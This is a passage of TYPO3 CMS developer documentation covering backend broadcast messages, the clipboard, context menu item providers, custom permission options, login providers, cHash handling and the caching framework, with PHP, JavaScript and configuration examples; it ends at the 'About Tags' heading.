It is possible to send broadcast messages from anywhere in TYPO3 that are listened to via JavaScript.

Send a message

Any backend module may send a message using the TYPO3/CMS/Backend/BroadcastService module. The payload of such message is an object that consists at least of the following properties:

  • componentName - the name of the component that sends the message (e.g. extension name)
  • eventName - the event name used to identify the message

A message may contain any other property as necessary. The final event name to listen is a composition of "typo3", the component name and the event name, e.g. typo3:my_extension:my_event.

To send a message, the post() method must be used.

Example code:

EXT:my_broadcast_extension/Resources/Public/JavaScript/my-broadcast-service.js
require(['TYPO3/CMS/Backend/BroadcastService'], function (BroadcastService) {
  const payload = {
    componentName: 'my_extension',
    eventName: 'my_event',
    hello: 'world',
    foo: ['bar', 'baz']
  };

  BroadcastService.post(payload);
});
Copied!

Receive a message

To receive and thus react on a message, an event handler needs to be registered that listens to the composed event name (e.g. typo3:my_component:my_event) sent to document.

The event itself contains a property called detail excluding the component name and event name.

Example code:

EXT:my_extension/Resources/Public/JavaScript/my-event-handler.js
define([], function() {
  document.addEventListener('typo3:my_component:my_event', (e) => eventHandler(e.detail));

  function eventHandler(detail) {
    console.log(detail); // contains 'hello' and 'foo' as sent in the payload
  }
});
Copied!

Hook into $GLOBALS['TYPO3_CONF_VARS']['SC_OPTIONS']['typo3/backend.php']['constructPostProcess'] to load a custom BackendController hook that loads the event handler, e.g. via RequireJS.

Example code:

EXT:my_extension/ext_localconf.php
$GLOBALS['TYPO3_CONF_VARS']['SC_OPTIONS']['typo3/backend.php']['constructPostProcess'][]
    = \MyVendor\MyExtension\Hooks\BackendControllerHook::class . '->registerClientSideEventHandler';
Copied!
EXT:my_extension/Classes/Hooks/BackendControllerHook.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Hooks;

use TYPO3\CMS\Core\Page\PageRenderer;

final class BackendControllerHook
{
    private PageRenderer $pageRenderer;

    public function __construct(PageRenderer $pageRenderer)
    {
        $this->pageRenderer = $pageRenderer;
    }

    public function registerClientSideEventHandler(): void
    {
        $this->pageRenderer->loadRequireJsModule(
            'TYPO3/CMS/MyExtension/EventHandler'
        );
    }
}
Copied!
EXT:my_extension/Configuration/Services.yaml
services:
  _defaults:
    autowire: true
    autoconfigure: true
    public: false

  MyVendor\MyExtension\Hooks\BackendControllerHook:
    public: true
Copied!

See also: What to make public

Clipboard

You can easily access the internal clipboard in TYPO3 from your backend modules:

Extension examples, file Classes/Controller/ModuleController.php
use TYPO3\CMS\Backend\Clipboard\Clipboard;
use TYPO3\CMS\Core\Utility\DebugUtility;
use TYPO3\CMS\Core\Utility\GeneralUtility;

class ModuleController extends ActionController implements LoggerAwareInterface
{
    protected function debugClipboard()
    {
        /** @var $clipboard Clipboard */
        $clipboard = GeneralUtility::makeInstance(Clipboard::class);
        // Read the clipboard content from the user session
        $clipboard->initializeClipboard();
        DebugUtility::debug($clipboard->clipData);
    }
}
Copied!

In this simple piece of code we instantiate a clipboard object and make it load its content. We then dump this content into the BE module's debug window, with the following result:

A dump of the clipboard in the debug window

This tells us what objects are registered on the default tab ("normal") (a content element with id 216 in "copy" mode) and the numeric tabs (which can each contain more than one element). It also tells us that the current tab is number 2. We can compare with the BE view of the clipboard:

The clipboard as seen in the backend

which indeed contains two files.

Clipboard content should not be accessed directly, but using the elFromTable() method of the clipboard object:

Extension examples, file Classes/Controller/ModuleController.php
use TYPO3\CMS\Backend\Clipboard\Clipboard;
use TYPO3\CMS\Core\Utility\GeneralUtility;

class ModuleController extends ActionController implements LoggerAwareInterface
{
    protected function getCurrentClipboard():array
    {
        /** @var $clipboard Clipboard */
        $clipboard = GeneralUtility::makeInstance(Clipboard::class);
        // Read the clipboard content from the user session
        $clipboard->initializeClipboard();
        // Access files and pages content of current pad
        $clipboardContent = [
            'files' => $clipboard->elFromTable('_FILE'),
            'pages' => $clipboard->elFromTable('pages'),
        ];
        return $clipboardContent;
    }
}
Copied!

Here we first try to get all files and then all page records on the current pad (which is pad 2). Then we change to the "Normal" pad, call the elFromTable() method again.

In the "examples" extension, this data is passed to a BE module view for display, which is really just information:

Clipboard items

Context-sensitive menus

Contextual menus exist in many places in the TYPO3 backend. Just try your luck clicking on any icon that you see. Chances are good that a contextual menu will appear, offering useful functions to execute.

The context menu now contains an additional item "Hello World"

The context menu shown after clicking on the Content Element icon

Context menu rendering flow

Markup

The context menu is shown after click on the HTML element which has class="t3js-contextmenutrigger" together with data-table, data-uid and optional data-context attributes.

The JavaScript click event handler is implemented in the TYPO3/CMS/Backend/ContextMenu requireJS module. It takes the data attributes mentioned above and executes an ajax call to the \TYPO3\CMS\Backend\Controller\ContextMenuController->getContextMenuAction().

ContextMenuController

ContextMenuController asks \TYPO3\CMS\Backend\ContextMenu\ContextMenu to generate an array of items. ContextMenu builds a list of available item providers by asking each whether it can provide items ( $provider->canHandle()), and what priority it has ( $provider->getPriority()).

Item providers registration

Custom item providers can be registered in global array:

$GLOBALS['TYPO3_CONF_VARS']['BE']['ContextMenu']['ItemProviders'][1486418735] = \TYPO3\CMS\Impexp\ContextMenu\ItemProvider::class;
Copied!

They must implement \TYPO3\CMS\Backend\ContextMenu\ItemProviders\ProviderInterface and can extend \TYPO3\CMS\Backend\ContextMenu\ItemProviders\AbstractProvider .

There are two item providers which are always available (without registration):

  • \TYPO3\CMS\Backend\ContextMenu\ItemProviders\PageProvider
  • \TYPO3\CMS\Backend\ContextMenu\ItemProviders\RecordProvider

Gathering items

A list of providers is sorted by priority, and then each provider is asked to add items. The generated array of items is passed from an item provider with higher priority to a provider with lower priority.

After that, a compiled list of items is returned to the ContextMenuController which passes it back to the ContextMenu.js as JSON.

API usage in the Core

Several TYPO3 Core modules are already using this API for adding or modifying items. See following places for a reference:

  • EXT:beuser module adds an item with a link to the Access (page permissions) module for pages context menu. See item provider \TYPO3\CMS\Beuser\ContextMenu\ItemProvider and requireJS module TYPO3/CMS/Beuser/ContextMenuActions
  • EXT:impexp module adds import and export options for pages, content elements and other records. See item provider \TYPO3\CMS\Impexp\ContextMenu\ItemProvider and requireJS module TYPO3/CMS/Impexp/ContextMenuActions
  • EXT:filelist module provides several item providers for files, folders, filemounts, filestorage, and drag-drop context menu for the folder tree. See following item providers: \TYPO3\CMS\Filelist\ContextMenu\ItemProviders\FileDragProvider, \TYPO3\CMS\Filelist\ContextMenu\ItemProviders\FileProvider , \TYPO3\CMS\Filelist\ContextMenu\ItemProviders\FileStorageProvider, \TYPO3\CMS\Filelist\ContextMenu\ItemProviders\FilemountsProvider and requireJS module TYPO3/CMS/Filelist/ContextMenuActions

Adding context menu to elements in your backend module

Enabling context menu in your own backend modules is quite straightforward. The examples below are taken from the "beuser" system extension and assume that the module is Extbase-based.

The first step is to include the needed JavaScript using the includeRequireJsModules property of the standard backend container Fluid view helper (or backend page renderer view helper).

Doing so in your layout is sufficient (see typo3/sysext/beuser/Resources/Private/Layouts/Default.html).

<f:be.container includeRequireJsModules="{0:'TYPO3/CMS/Backend/ContextMenu'}">
   // ...
</f:be.container>
Copied!

The second step is to activate the context menu on the icons. This kind of markup is required (taken from typo3/sysext/beuser/Resources/Private/Templates/BackendUser/Index.html):

<td>
   <a href="#" class="t3js-contextmenutrigger" data-table="be_users"
         data-uid="{compareUser.uid}" title="id={compareUser.uid}">
      <be:avatar backendUser="{compareUser.uid}" showIcon="TRUE" />
   </a>
</td>
Copied!

the relevant line being highlighted. The class t3js-contextmenutrigger triggers a context menu functionality for the current element. The data-table attribute contains a table name of the record and data-uid the uid of the record.

One additional data attribute can be used data-context with values being for example tree for context menu triggered from the page tree. Context is used to hide menu items independently for page tree independently from other places (disabled items can be configured in TSconfig).

Disabling Context Menu Items from TSConfig

Context menu items can be disabled in TSConfig by adding item name to the options.contextMenu option corresponding to the table and context you want to cover.

For example, disabling edit and new items for table pages use:

options.contextMenu.table.pages.disableItems = edit,new
Copied!

If you want to disable the items just for certain context (for example tree) add the .tree key after table name like that:

options.contextMenu.table.pages.tree.disableItems = edit,new
Copied!

If configuration for certain context is available, the default configuration is not taken into account.

For more details see TSConfig reference.

Tutorial: How to add a custom context menu item

Follow these steps to add a custom menu item for pages records. You will add a "Hello world" item which will show an info after clicking.

The context menu now contains an additional item "Hello World"

Context menu with custom item

Step 1: Item Provider Registration

First you need to add an item provider registration to the ext_localconf.php of your extension.

<?php
defined('TYPO3') or die();

 // You should use current timestamp (not this very value) or leave it empty
 $GLOBALS['TYPO3_CONF_VARS']['BE']['ContextMenu']['ItemProviders'][1488274371] =
     \Vendor\ExtensionKey\ContextMenu\HelloWorldItemProvider::class;
Copied!

Step 2: Implementation of the item provider class

Second step is to implement your own item provider class. Provider must implement \TYPO3\CMS\Backend\ContextMenu\ItemProviders\ProviderInterface and can extend \TYPO3\CMS\Backend\ContextMenu\ItemProviders\AbstractProvider or any other provider from EXT:backend.

See comments in the following code snippet clarifying implementation details.

This file can be found in EXT:examples/Classes/ContextMenu/HelloWorldItemProvider.php

Extension examples, file Classes/ContextMenu/HelloWorldItemProvider.php
<?php
namespace T3docs\Examples\ContextMenu;

/**
 * This file is part of the TYPO3 CMS project.
 *
 * It is free software; you can redistribute it and/or modify it under
 * the terms of the GNU General Public License, either version 2
 * of the License, or any later version.
 *
 * For the full copyright and license information, please read the
 * LICENSE.txt file that was distributed with this source code.
 *
 * The TYPO3 project - inspiring people to share!
 */

use TYPO3\CMS\Backend\ContextMenu\ItemProviders\AbstractProvider;

/**
 * Item provider adding Hello World item
 */
class HelloWorldItemProvider extends AbstractProvider
{
    /**
     * This array contains configuration for items you want to add
     * @var array
     */
    protected $itemsConfiguration = [
        'hello' => [
            'type' => 'item',
            'label' => 'Hello World', // you can use "LLL:" syntax here
            'iconIdentifier' => 'actions-document-info',
            'callbackAction' => 'helloWorld' //name of the function in the JS file
        ]
    ];

    /**
     * Checks if this provider may be called to provide the list of context menu items for given table.
     *
     * @return bool
     */
    public function canHandle(): bool
    {
        // Current table is: $this->table
        // Current UID is: $this->identifier
//        return $this->table === 'pages';
        return true;
    }

    /**
     * Returns the provider priority which is used for determining the order in which providers are processing items
     * to the result array. Highest priority means provider is evaluated first.
     *
     * This item provider should be called after PageProvider which has priority 100.
     *
     * BEWARE: Returned priority should logically not clash with another provider.
     *         Please check @see \TYPO3\CMS\Backend\ContextMenu\ContextMenu::getAvailableProviders() if needed.
     *
     * @return int
     */
    public function getPriority(): int
    {
        return 55;
    }

    /**
     * Registers the additional JavaScript RequireJS callback-module which will allow to display a notification
     * whenever the user tries to click on the "Hello World" item.
     * The method is called from AbstractProvider::prepareItems() for each context menu item.
     *
     * @param string $itemName
     * @return array
     */
    protected function getAdditionalAttributes(string $itemName): array
    {
        return [
            // BEWARE!!! RequireJS MODULES MUST ALWAYS START WITH "TYPO3/CMS/" (and no "Vendor" segment here)
            'data-callback-module' => 'TYPO3/CMS/Examples/ContextMenuActions',
            // Here you can also add any other useful "data-" attribute you'd like to use in your JavaScript (e.g. localized messages)
        ];
    }

    /**
     * This method adds custom item to list of items generated by item providers with higher priority value (PageProvider)
     * You could also modify existing items here.
     * The new item is added after the 'info' item.
     *
     * @param array $items
     * @return array
     */
    public function addItems(array $items): array
    {
        $this->initDisabledItems();
        // renders an item based on the configuration from $this->itemsConfiguration
        $localItems = $this->prepareItems($this->itemsConfiguration);

        if (isset($items['info'])) {
            //finds a position of the item after which 'hello' item should be added
            $position = array_search('info', array_keys($items), true);

            //slices array into two parts
            $beginning = array_slice($items, 0, $position+1, true);
            $end = array_slice($items, $position, null, true);

            // adds custom item in the correct position
            $items = $beginning + $localItems + $end;
        } else {
            $items = $items + $localItems;
        }
        //passes array of items to the next item provider
        return $items;
    }

    /**
     * This method is called for each item this provider adds and checks if given item can be added
     *
     * @param string $itemName
     * @param string $type
     * @return bool
     */
    protected function canRender(string $itemName, string $type): bool
    {
        // checking if item is disabled through TSConfig
        if (in_array($itemName, $this->disabledItems, true)) {
            return false;
        }
        $canRender = false;
        switch ($itemName) {
            case 'hello':
                $canRender = $this->canSayHello();
                break;
        }
        return $canRender;
    }

    /**
     * Helper method implementing e.g. access check for certain item
     *
     * @return bool
     */
    protected function canSayHello(): bool
    {
         //usually here you can find more sophisticated condition. See e.g. PageProvider::canBeEdited()
         return true;
    }
}
Copied!

Step 3: JavaScript actions

Third step is to provide a JavaScript file (RequireJS module) which will be called after clicking on the context menu item.

This file can be found in EXT:examples/Resources/Public/JavaScript/ContextMenuActions.js

Extension examples, file Resources/Public/JavaScript/ContextMenuActions.js
/**
 * Module: TYPO3/CMS/Example/ContextMenuActions
 *
 * JavaScript to handle the click action of the "Hello World" context menu item
 * @exports TYPO3/CMS/Example/ContextMenuActions
 */
define(function () {
    'use strict';

    /**
     * @exports TYPO3/CMS/Example/ContextMenuActions
     */
    var ContextMenuActions = {};

    /**
     * Say hello
     *
     * @param {string} table
     * @param {int} uid of the page
     */
    ContextMenuActions.helloWorld = function (table, uid) {
        if (table === 'pages') {
            //If needed, you can access other 'data' attributes here from $(this).data('someKey')
            //see item provider getAdditionalAttributes method to see how to pass custom data attributes

            top.TYPO3.Notification.error('Hello World', 'Hi there!', 5);
        }
    };

    return ContextMenuActions;
});
Copied!

Using Custom Permission Options

TYPO3 allows extension developers to register their own permission options, managed automatically by the built-in user group access lists. The options can be grouped in categories. A custom permission option is always a checkbox (on/off).

The scope of such options is the backend only.

Registration

Options are configured in the global variable $GLOBALS['TYPO3_CONF_VARS']['BE']['customPermOptions'] in EXT:my_extension/ext_tables.php. The syntax is demonstrated in the following example, which registers two custom permission options:

EXT:my_extension/ext_tables.php
// Register some custom permission options shown in BE group access lists
$GLOBALS['TYPO3_CONF_VARS']['BE']['customPermOptions']['tx_styleguide_custom'] = [
    'header' => 'Custom styleguide permissions',
        'items' => [
            'key1' => [
                'Option 1',
                // Icon has been registered above
                'tcarecords-tx_styleguide_forms-default',
                'Description 1',
            ],
        'key2' => [
            'Option 2',
        ],
    ],
];
Copied!

The result is that these options appear in the group access lists like this:

The custom permissions appear in the Access List tab of backend user groups

As you can see it is possible to add both an icon and a description text. If icons not provided by the Core are used, they need to be registered with the Icon API.

Evaluation

To check if a custom permission option is set call the following API function from the user object:

EXT:some_extension/Classes/SomeClass.php
$GLOBALS['BE_USER']->check('custom_options', $catKey . ':' . $itemKey);
Copied!

$catKey is the category in which the option resides. From the example above this would be tx_examples_cat1.

$itemKey is the key of the item in the category you are evaluating. From the example above this could be key1, key2 or key3 depending on which one of them you want to evaluate.

The function returns true if the option is set, otherwise false.

Keys for Options

It is good practice to use the extension keys prefixed with tx_ on the first level of the array to avoid potential conflicts with other custom options.

Backend login form API

Registering a login provider

The concept of the backend login is based on "login providers".

A login provider can be registered within your LocalConfiguration.php or AdditionalConfiguration.php like this:

typo3conf/AdditionalConfiguration.php
$GLOBALS['TYPO3_CONF_VARS']['EXTCONF']['backend']['loginProviders'][1433416020] = [
    'provider' => \MyVendor\MyExtension\LoginProvider\CustomLoginProvider::class,
    'sorting' => 50,
    'iconIdentifier' => 'actions-key',
    'label' => 'LLL:EXT:backend/Resources/Private/Language/locallang.xlf:login.link'
];
Copied!

New in version 11.5

The option iconIdentifier has been introduced. As FontAwesome will be phased out developers are encouraged to use this option instead of icon-class, which expects a FontAwesome class.

The settings are defined as:

provider
The login provider class name, which must implement \TYPO3\CMS\Backend\LoginProvider\LoginProviderInterface .
sorting
The sorting is important for the ordering of the links to the possible login providers on the login screen.
iconIdentifier
Accepts any icon identifier that is available in the Icon Registry.
label
The label for the login provider link on the login screen.

For a new login provider you have to register a new key - by best practice the current unix timestamp - in $GLOBALS['TYPO3_CONF_VARS']['EXTCONF']['backend']['loginProviders'] .

If your login provider extends another one, you may only overwrite necessary settings. An example would be to extend an existing provider and replace its registered provider class with your custom class.

typo3conf/AdditionalConfiguration.php
$GLOBALS['TYPO3_CONF_VARS']['EXTCONF']['backend']['loginProviders'][1433416020]['provider'] =
    \MyVendor\MyExtension\LoginProvider\CustomProviderExtendingUsernamePasswordLoginProvider::class
Copied!

LoginProviderInterface

The LoginProviderInterface contains only one method:

interface LoginProviderInterface
Fully qualified name
\TYPO3\CMS\Backend\LoginProvider\LoginProviderInterface

Interface for Backend Login providers

render ( TYPO3\\CMS\\Fluid\\View\\StandaloneView $view, TYPO3\\CMS\\Core\\Page\\PageRenderer $pageRenderer, TYPO3\\CMS\\Backend\\Controller\\LoginController $loginController)

Render the login HTML

Implement this method and set the template for your form. This is also the right place to assign data to the view and add necessary JavaScript resources to the page renderer.

A good example is EXT:openid

Example:
$view->setTemplatePathAndFilename($pathAndFilename); $view->assign('foo', 'bar');
param TYPO3\\CMS\\Fluid\\View\\StandaloneView $view

the view

param TYPO3\\CMS\\Core\\Page\\PageRenderer $pageRenderer

the pageRenderer

param TYPO3\\CMS\\Backend\\Controller\\LoginController $loginController

the loginController

The View

As mentioned above, the render method gets the Fluid StandaloneView as first parameter. You have to set the template path and filename using the methods of this object. The template file must only contain the form fields, not the form-tag. Later on, the view renders the complete login screen.

View requirements:

  • The template must use the Login-layout provided by the Core <f:layout name="Login">.
  • Form fields must be provided within the section <f:section name="loginFormFields">.
EXT:my_sitepackage/Resources/Private/Templates/MyLoginForm.html
<f:layout name="Login" />
<f:section name="loginFormFields">
    <div class="form-group t3js-login-openid-section" id="t3-login-openid_url-section">
        <div class="input-group">
            <input
                type="text"
                id="openid_url"
                name="openid_url"
                value="{presetOpenId}"
                autofocus="autofocus"
                placeholder="{f:translate(key: 'openId', extensionName: 'openid')}"
                class="form-control input-login t3js-clearable t3js-login-openid-field"
            >
            <div class="input-group-addon">
                <span class="fa fa-openid"></span>
            </div>
        </div>
    </div>
</f:section>
Copied!

Examples

Within the Core you can find the standard implementation in the system extension backend:

See class EXT:backend/Classes/LoginProvider/UsernamePasswordLoginProvider.php (GitHub) with its template EXT:backend/Resources/Private/Templates/Login/UserPassLoginForm.html (GitHub).

Caching

Caching in TYPO3

TYPO3 uses multiple caching strategies to ensure fast content delivery. Depending on the content a page contains, TYPO3 chooses the best caching strategy for that use case.

For example, you might have a fully-cacheable page, a page that is at least partially cacheable or a page that is completely dynamic. Dynamic elements in TYPO3 are also known as USER_INT or COA_INT objects - as these are the matching TypoScript objects used to render non-cacheable content.

When visiting a TYPO3 web site, TYPO3 knows the following states:

  • first time hit, page has never been rendered ("cache miss")
  • consecutive hit, page has been rendered before ("cache hit")

In the first case, TYPO3 renders the complete page and writes cache entries as configured. In the second case, TYPO3 fetches those entries from the cache and delivers them to the user without re-triggering the rendering.

In that second case, either the page is fully cached and directly delivered from the cache, or the page has non-cacheable elements on it. If a page has non-cacheable elements, TYPO3 first fetches the cached part of the page and then renders all dynamic parts.

Caching variants - or: What is a "cache hash"?

TYPO3 ideally delivers fully cached pages for maximum performance. However, in scenarios where the same page will deliver different content depending on URL parameters, TYPO3 needs a possibility to identify these "variants" and cache each of them differently. For example, if you have a news plugin and a detail page, the detail page is different for every news entry.

To identify the variant, TYPO3 combines a set of parameters and generates a hash value as identifier. These parameters include by default:

  • id: The current page ID
  • type: The current page type (typeNum)
  • groupIds: The user groups of the logged in user (if no user is logged in: 0, -1 as default values)
  • MP: The mount point identifier
  • site: The current site and base URL
  • staticRouteArguments: Any route argument configured in the routing configuration and resolved in the current request
  • dynamicArguments: Any $_GET parameters influencing the rendered page

Imagine the following URL https://example.org/news/?tx_example_news[id]=123 displaying the news with ID 123. If TYPO3 would cache that page with that parameter without any security mechanisms, it would open a potential denial of service attack as an unlimited amount of cache entries could be generated by adding arbitrary parameters. To avoid that, TYPO3 generates a so-called cHash parameter, which is a hash that basically signs the valid parameters for that request. So any parameter that validly influences the rendered page needs to be part of that cHash.

With Routing - "Speaking URLs" in TYPO3 you can configure TYPO3 not to display the cHash in your URLs in most cases. Routing adds an explicit mapping of incoming readable URL slugs to internal parameter values. This both adds an additional layer for validating slugs as well as reduces the parameters to a limited (and predictable) set of values.

Various configuration options exist to configure the cHash behavior via $GLOBALS['TYPO3_CONF_VARS']['FE']['cacheHash'] in the file LocalConfiguration.php or AdditionalConfiguration.php:

cachedParametersWhiteList

cachedParametersWhiteList

Only the given parameters will be evaluated in the cHash calculation. Example: tx_news_pi1[uid]

requireCacheHashPresenceParameters

requireCacheHashPresenceParameters

Configure Parameters that require a cHash. If no cHash is given but one of the parameters are set, then TYPO3 triggers the configured cHash Error behavior

excludedParameters

excludedParameters

The given parameters will be ignored in the cHash calculation. Example: L,tx_search_pi1[query]

excludedParametersIfEmpty

excludedParametersIfEmpty

Configure Parameters only being relevant for the cHash if there's an associated value available. Set excludeAllEmptyParameters to true to skip all empty parameters.

excludeAllEmptyParameters

excludeAllEmptyParameters

If true, all parameters which are relevant for cHash are only considered if they are non-empty.

enforceValidation

enforceValidation

New in version 10.4.35/11.5.23

If this option is enabled, the same validation is used to calculate a "cHash" value as when a valid or invalid "cHash" parameter is given to a request, even when no "cHash" is given.

All properties can be configured with an array of values. Besides exact matches (equals) it is possible to apply partial matches at the beginning of a parameter (startsWith) or inline occurrences (contains).

URL parameter names are prefixed with the following indicators: + = (equals): exact match, default behavior if not given + ^ (startsWith): matching the beginning of a parameter name + ~ (contains): matching any inline occurrence in a parameter name

These indicators can be used for all previously existing sub-properties cachedParametersWhiteList, excludedParameters, excludedParametersIfEmpty and requireCacheHashPresenceParameters.

Example (excerpt of AdditionalConfiguration.php)

typo3conf/AdditionalConfiguration.php
$GLOBALS['TYPO3_CONF_VARS']['FE']['cacheHash'] = [
  'excludedParameters' => [
    'utm_source',
    'utm_medium',
  ],
  'excludedParametersIfEmpty' => [
    '^tx_my_plugin[aspects]',
    'tx_my_plugin[filter]',
  ],
];
Copied!

For instance instead of having exclude items like

typo3conf/AdditionalConfiguration.php
'excludedParameters' => [
   'tx_my[data][uid]',
   'tx_my[data][category]',
   'tx_my[data][order]',
   'tx_my[data][origin]',
   ...
],
Copied!

partial matches allow to simplify the configuration and consider all items having tx_my[data] (or tx_my[data][ to be more specific) as prefix like

typo3conf/AdditionalConfiguration.php
'excludedParameters' => [
   '^tx_my[data][',
   ...
],
Copied!

Clearing/flushing and warming up caches

TYPO3 provides different possibilities to clear all or specific caches. Depending on the context, you might want to

  • clear the cache for a single page (for example to make changes visible)
  • clear the frontend cache (for example after templating changes)
  • clear all caches (for example during development, when making TypoScript changes)
  • clear all caches incl. dependency injection (mainly useful during development)

Clearing the cache for a single page is done by using the "clear cache button" on that page in the backend (usually visualized with a "bolt" icon). Depending on user rights this option is available for editors.

Clearing the frontend caches and all caches can be done via the system toolbar in the TYPO3 backend. This option should only be available to administrators. Clearing all caches can have a significant impact on the performance of the web site and should be used sparingly on production systems.

The "fullest" option to clear all caches can be reached via the System Tools > Maintenance section. In the development context when new classes have been added to the system or in case of problems with the system using this cache clearing option will clear all caches including compiled code like the dependency injection container.

Clear cache command

In addition to the GUI options explained above, caches can also be cleared via a CLI command:

./typo3/sysext/core/bin/typo3 cache:flush
Copied!

Specific cache groups can be defined via the group option. The usage is described as this:

cache:flush [--group <all|system|di|pages|...>]
Copied!

All available cache groups can be supplied as option. The command defaults to flush all available cache groups as the System Tools > Maintenance area does.

Extensions that register custom caches may listen to the via \TYPO3\CMS\Core\Cache\Event\CacheFlushEvent , but usually the cache flush via CacheManager groups will suffice to clear those caches, too.

Cache warmup

It is possible to warmup TYPO3 caches using the command line.

The administrator can use the following CLI command:

./typo3/sysext/core/bin/typo3 cache:warmup
Copied!

Specific cache groups can be defined via the group option. The usage is described as this:

cache:warmup [--group <all|system|di|pages|...>]
Copied!

All available cache groups can be supplied as option. The command defaults to warm all available cache groups.

Extensions that register custom caches are encouraged to implement cache warmers via \TYPO3\CMS\Core\Cache\Event\CacheWarmupEvent .

Use Case - Deployment

It is often required to clear caches during deployment of TYPO3 instance. The integrator may decide to flush all caches or may alternatively flush selected groups (e.g. 'pages'). It is common practice to clear all caches during deployment of a TYPO3 instance update. This means that the first request after a deployment usually takes a major amount of time and blocks other requests due to cache-locks.

TYPO3 caches can now be warmed during deployment in release preparatory steps in symlink based deployment/release procedures. The enables fast first requests with all (or at least system) caches being prepared and warmed.

Caches are often filesystem relevant (filepaths are calculated into cache hashes), therefore cache warmup should only be performed on the the live system, in the final folder of a new release, and ideally before switching to that new release (via symlink switch).

To summarize: Cache warmup is to be used during deployment, on the live system server, inside the new release folder and before switching to the new release.

An example deployment could consist of:

  • Before the release: git-checkout/rsync your codebase to the continuous integration / build server composer install on the continuous integration / build server `vendor/bin/typo3 cache:warmup --group system` (only* on the live system)
  • Change release symlink to the new release folder
  • After the release: * vendor/bin/typo3 cache:flush --group pages

The conceptional idea is to warmup all file-related caches before (symlink) switching to a new release and to only flush database and frontend (shared) caches after the symlink switch. Database warmup could be implemented with the help of the \TYPO3\CMS\Core\Cache\Event\CacheWarmupEvent as an additionally functionality by third party extensions.

Note that file-related caches (summarized into the group "system") can safely be cleared before doing a release switch, as it is recommended to keep file caches per release. In other words, share var/session, var/log, var/lock and var/charset between releases, but keep var/cache be associated only with one release.

Caching framework

Since TYPO3 v4.3, the Core contains a data caching framework which supports a wide variety of storage solutions and options for different caching needs. Each cache can be configured individually and can implement its own specific storage strategy.

The caching framework exists to help speeding up TYPO3 sites, especially heavily loaded ones. It is possible to move all caches to a dedicated cache server with specialized cache systems like the Redis key-value store (a so called NoSQL database).

Major parts of the original caching framework were originally backported from TYPO3 Flow.

Quick Start for Integrators

This section gives some simple instructions for getting started using the caching framework without giving the whole details under the hood.

Change Specific Cache Options

By default, most Core caches use the database backend. Default cache configuration is defined in typo3/sysext/core/Configuration/DefaultConfiguration.php and can be overridden in LocalConfiguration.php.

If specific settings should be applied to the configuration, they should be added to LocalConfiguration.php. All settings in LocalConfiguration.php will be merged with DefaultConfiguration.php. The easiest way to see the final cache configuration is to use the TYPO3 backend module System > Configuration > $GLOBALS['TYPO3_CONF_VARS'] (with installed lowlevel system extension).

Example for a configuration of redis cache backend on redis database number 42 instead of the default database backend with compression for the pages cache:

return [
// ...
   'SYS' => [
   // ...
      'caching' => [
         // ...
         'cacheConfigurations' => [
            // ...
            'pages' => [
               'backend' => \TYPO3\CMS\Core\Cache\Backend\RedisBackend::class,
               'options' => [
                  'database' => 42,
               ],
            ],
         ],
      ],
   ],
];
Copied!

Garbage Collection Task

Most cache backends do not have an internal system to remove old cache entries that exceeded their lifetime. A cleanup must be triggered externally to find and remove those entries, otherwise caches could grow to arbitrary size. This could lead to a slow website performance, might sum up to significant hard disk or memory usage and could render the server system unusable.

It is advised to always enable the scheduler and run the "Caching framework garbage collection" task to retain clean and small caches. This housekeeping could be done once a day when the system is otherwise mostly idle.

Configuration

Caches are configured in the array $GLOBALS['TYPO3_CONF_VARS']['SYS']['caching']. The basic structure is predefined in typo3/sysext/core/Configuration/DefaultConfiguration.php, and consists of the single section:

  • cacheConfigurations: Registry of all configured caches. Each cache is identified by its array key. Each cache can have the sub keys frontend, backend and options to configure the used frontend, backend and possible backend options.

Cache Configurations

Unfortunately in TYPO3, all ext_localconf.php files of the extensions are loaded after the instance specific configuration from LocalConfiguration.php and AdditionalConfiguration.php. This enables extensions to overwrite cache configurations already done for the instance. All extensions should avoid this situation and should define the very bare minimum of cache configurations. This boils down to define the array key to populate a new cache to the system. Without further configuration, the cache system falls back to the default backend and default frontend settings:

$GLOBALS['TYPO3_CONF_VARS']['SYS']['caching']['cacheConfigurations']['myext_mycache'] ??= [];
Copied!

Extensions like Extbase define default caches this way, giving administrators full freedom for specific and possibly quicker setups (eg. a memory driven cache for the Extbase reflection cache).

Administrators can overwrite specific settings of the cache configuration in LocalConfiguration.php, example configuration to switch pages to the redis backend using database 3:

return [
    'SYS' => [
        'caching' => [
            'cacheConfigurations' => [
                'pages' => [
                    'backend' => \TYPO3\CMS\Core\Cache\Backend\RedisBackend::class,
                    'options' => [
                        'database' => 3,
                    ],
                ],
            ],
        ],
    ],
];
Copied!

Some backends have mandatory as well as optional parameters (which are documented below). If not all mandatory options are defined, the specific backend will throw an exception if accessed.

How to Disable Specific Caches

During development, it can be convenient to disable certain caches. This is especially helpful for central caches like the language or autoloader cache. This can be achieved by using the null backend (see below) as storage backend.

Example entry to switch the extbase_reflection cache to use the null backend:

$GLOBALS['TYPO3_CONF_VARS']['SYS']['caching']['cacheConfigurations']
   ['extbase_reflection']['backend'] = \TYPO3\CMS\Core\Cache\Backend\NullBackend::class;
Copied!

Caching Framework Architecture

Basic Knowhow

The caching framework can handle multiple caches with different configurations. A single cache consists of any number of cache entries.

A single cache entry is defined by these fields:

  • identifier: A string as unique identifier within this cache. Used to store and retrieve entries.
  • data: The data to be cached.
  • lifetime: A lifetime in seconds of this cache entry. An entry can not be retrieved from cache if lifetime expired.
  • tags: Additional tags (an array of strings) assigned to the entry. Used to remove specific cache entries.

About the Identifier

The identifier is used to store ("set") and retrieve ("get") entries from the cache and holds all information to differentiate entries from each other. For performance reasons, it should be quick to calculate.

Suppose there is a resource-intensive extension added as a plugin on two different pages. The calculated content depends on the page on which it is inserted and if a user is logged in or not. So, the plugin creates at maximum four different content outputs, which can be cached in four different cache entries:

  • page 1, no user logged in
  • page 1, a user is logged in
  • page 2, no user logged in
  • page 2, a user is logged in

To differentiate all entries from each other, the identifier is built from the page ID where the plugin is located, combined with the information whether a user is logged in. These are concatenated and hashed. In PHP this could look like this:

EXT:some_extension/Classes/SomeClass.php
$identifier = sha1((string)$this->getPageUid() . (string)$this->isUserLoggedIn());
Copied!

When the plugin is accessed, the identifier is calculated early in the program flow. Next, the plugin looks up for a cache entry with this identifier. If such an entry exists, the plugin can return the cached content, else it calculates the content and stores a new cache entry with this identifier.

In general, the identifier is constructed from all dependencies which specify a unique set of data. The identifier should be based on information which already exist in the system at the point of its calculation. In the above scenario the page id and whether or not a user is logged in are already determined during the frontend bootstrap and can be retrieved from the system quickly.

About Tags

